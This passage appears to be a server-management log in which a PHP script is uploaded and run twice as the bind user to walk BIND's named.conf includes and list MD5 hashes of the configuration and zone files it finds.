function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 14:03:49: 

runuser -l bind -s /bin/bash -c '/tmp/pkp218389; rm /tmp/pkp218389'

2026-02-09 14:03:49: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 14c1edeb05e4031ffc2f3b7e0fb4d902
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 14:03:58: Establishing a connection
2026-02-09 14:03:58: 

PUT: /tmp/pkp587104

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 14:03:58: 

runuser -l bind -s /bin/bash -c '/tmp/pkp587104; rm /tmp/pkp587104'

2026-02-09 14:03:58: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
